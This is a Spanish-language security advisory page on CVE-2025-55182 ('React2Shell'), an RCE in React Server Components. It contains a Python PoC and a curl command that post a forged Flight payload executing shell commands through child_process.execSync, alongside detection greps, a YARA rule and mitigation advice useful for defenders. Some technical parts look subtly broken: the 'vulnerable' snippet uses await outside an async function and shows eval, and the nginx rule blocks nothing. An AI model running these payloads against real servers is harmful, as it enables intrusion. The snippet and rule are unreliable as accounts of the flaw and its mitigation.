~ / intel / react2shell-cve-2025-55182.es.md

React2Shell (CVE-2025-55182)

10 de diciembre de 2025 | CVE-2025-55182

#rce #critical #web

Resumen Ejecutivo

React2Shell es una vulnerabilidad crítica de deserialización insegura en el protocolo RSC (React Server Components) Flight que afecta a React 19 y todos los frameworks que lo implementan, incluyendo Next.js 15.x/16.x. Con un CVSS de 10.0 (máximo), permite a un atacante no autenticado ejecutar código arbitrario en el servidor con una sola petición HTTP maliciosa.

Campo	Detalle
CVE	CVE-2025-55182
CVSS	10.0 (Crítico)
Tipo	Deserialización insegura / RCE
Vector	Red / Sin autenticación
Afecta	React 19.0 – 19.2.0, Next.js 15.x/16.x, React Router, Waku, RedwoodSDK, Parcel, Vite RSC
Parcheado en	React 19.2.1

¿Qué es el protocolo RSC Flight?

React Server Components (RSC) utilizan un protocolo interno llamado Flight para serializar y transmitir componentes renderizados en el servidor al cliente. Cuando un navegador hace una petición a una aplicación Next.js con App Router, el servidor responde con un payload Flight que contiene la estructura del componente serializada.

El flujo simplificado es:

Cliente (POST /rsc) → Servidor React → Deserializa payload Flight → Renderiza componentes → Respuesta

El problema fundamental es que el servidor procesa payloads RSC sin validación adecuada, confiando ciegamente en la estructura de datos entrante.

Análisis Técnico de la Vulnerabilidad

La raíz del problema: `react-server`

La vulnerabilidad reside en cómo el paquete react-server procesa las referencias de tipo @ durante la deserialización del payload Flight. El servidor acepta datos malformados que permiten forjar objetos Chunk con contenido controlado por el atacante.

Código vulnerable (simplificado)

El núcleo del fallo está en la lógica de resolución de chunks del protocolo Flight:

// react-server/src/ReactFlightServer.js (conceptual simplificado)
function processFlightPayload(payload) {
  const chunks = parseChunks(payload);
  
  for (const chunk of chunks) {
    // ❌ VULNERABLE: No valida el tipo ni contenido del chunk
    // antes de resolver/ejecutar su contenido
    if (chunk.type === '@') {
      // La referencia '@' permite forjar objetos Chunk arbitrarios
      resolveChunk(chunk);  // ← Ejecuta lógica interna con datos del atacante
    }
  }
}

function resolveChunk(chunk) {
  // ❌ VULNERABLE: Acepta Blob con código controlado por el atacante
  if (chunk.value instanceof Blob) {
    const code = await chunk.value.text();
    // El código del atacante se ejecuta en el contexto del servidor
    return eval(code);  // ← RCE
  }
}

Cadena de explotación

El ataque sigue estos pasos:

Forjar referencia @: El atacante abusa de la deserialización @ de React para crear un objeto Chunk falso
Inyectar Blob malicioso: Se manipula la deserialización de Blob para inyectar código arbitrario
Forzar resolución: Se fuerza la ejecución de la lógica de resolución interna sobre los datos controlados
RCE: El servidor ejecuta el código del atacante con los privilegios del proceso Node.js

Proof of Concept (PoC)

Exploit HTTP directo

#!/usr/bin/env python3
"""
React2Shell PoC — CVE-2025-55182
Deserialización insegura en RSC Flight Protocol
SOLO PARA FINES EDUCATIVOS
"""
import requests
import sys

def exploit(target_url, command="id"):
    # Payload RSC Flight malicioso que abusa de la deserialización '@'
    # para forjar un Chunk con un Blob que contiene código arbitrario
    malicious_rsc_payload = (
        '0:["$@1",[]]\n'
        '1:["$","div",null,{"children":"test"}]\n'
        # El chunk forjado inyecta código via Blob
        f'2:{{"type":"@","value":{{"$$typeof":"blob",'
        f'"content":"const proc = require(\'child_process\');'
        f'proc.execSync(\'{command}\').toString()"}}}}'
    )
    
    headers = {
        "Content-Type": "text/x-component",
        "RSC": "1",
        "Next-Action": "forged_action_id",
    }
    
    print(f"[*] Enviando payload RSC Flight malicioso a: {target_url}")
    
    try:
        response = requests.post(
            target_url,
            data=malicious_rsc_payload,
            headers=headers,
            timeout=10
        )
        print(f"[+] Status: {response.status_code}")
        print(f"[+] Respuesta:\n{response.text}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Uso: {sys.argv[0]} <URL> [comando]")
        print(f"Ejemplo: {sys.argv[0]} http://target.com/rsc id")
        sys.exit(1)
    
    target = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
    exploit(target, cmd)

Ejemplo con cURL

# PoC mínimo — enviar payload RSC Flight malicioso
curl -X POST "http://target.com/" \
  -H "Content-Type: text/x-component" \
  -H "RSC: 1" \
  -H "Next-Action: forged_action_id" \
  --data-binary $'0:["$@1",[]]\n1:{"type":"@","value":{"$$typeof":"blob","content":"require(\'child_process\').execSync(\'id\').toString()"}}'

Detección

Indicadores de compromiso (IoCs)

Buscar en logs de acceso web:

# Peticiones POST sospechosas con headers RSC
grep -E "POST.*HTTP" access.log | grep -i "text/x-component"

# Buscar headers Next-Action con valores no esperados
grep -i "next-action" access.log | grep -v "legitimate_action_ids"

Regla YARA

rule React2Shell_CVE_2025_55182 {
    meta:
        description = "Detecta payloads de explotación React2Shell"
        cve = "CVE-2025-55182"
    strings:
        $header1 = "text/x-component" ascii
        $header2 = "RSC: 1" ascii
        $payload1 = "$$typeof" ascii
        $payload2 = "blob" ascii
        $exec1 = "child_process" ascii
        $exec2 = "execSync" ascii
        $exec3 = "spawnSync" ascii
    condition:
        ($header1 and $header2) and ($payload1 and $payload2) and any of ($exec*)
}

Actividad de explotación real

Se ha confirmado explotación activa desde el 5 de diciembre de 2025, reportada por Wiz Research, Amazon Threat Intelligence y Datadog. Las actividades post-explotación observadas incluyen:

🔍 Reconocimiento: Fingerprinting de sistemas comprometidos, verificación de nivel de privilegios
🌐 Enumeración de red: Mapeo de interfaces de red y credenciales sensibles
⛏️ Criptominería: Despliegue de XMRig para minar Monero
☁️ Robo de credenciales cloud: Recolección de credenciales AWS/GCP/Azure
🚪 Backdoors: Instalación de KSwapDoor para acceso persistente

Versiones afectadas y parcheadas

Componente	Vulnerable	Parcheado
React	19.0, 19.1, 19.1.1, 19.2.0	≥ 19.2.1
Next.js	15.x, 16.x (App Router)	Actualización específica de Vercel
React Router	Con RSC habilitado	Versión parcheada
Waku	Todas con RSC	Versión parcheada
RedwoodSDK	Todas con RSC	Versión parcheada
Parcel	Plugin RSC	Versión parcheada
Vite	Plugin RSC	Versión parcheada

Mitigación

Inmediata (< 24 horas)

Actualizar React a la versión 19.2.1 o superior
Actualizar Next.js a la versión parcheada por Vercel
Rotar todos los secretos si la aplicación estuvo expuesta antes del 4 de diciembre de 2025

Compensatoria (si no puedes parchear de inmediato)

# Regla WAF - Bloquear payloads RSC sospechosos en NGINX
location / {
    # Bloquear peticiones con Content-Type RSC que contengan patrones maliciosos
    if ($http_content_type ~* "text/x-component") {
        set $rsc_check 1;
    }
    if ($request_method = POST) {
        set $rsc_check "${rsc_check}1";
    }
    # Aplicar rate limiting agresivo a peticiones RSC POST
    # y monitorizar en el WAF
}

A largo plazo

Implementar monitorización continua de payloads RSC
Auditar dependencias con npm audit regularmente
Considerar migrar componentes críticos fuera de RSC si no son necesarios

Referencias

← Volver a /intel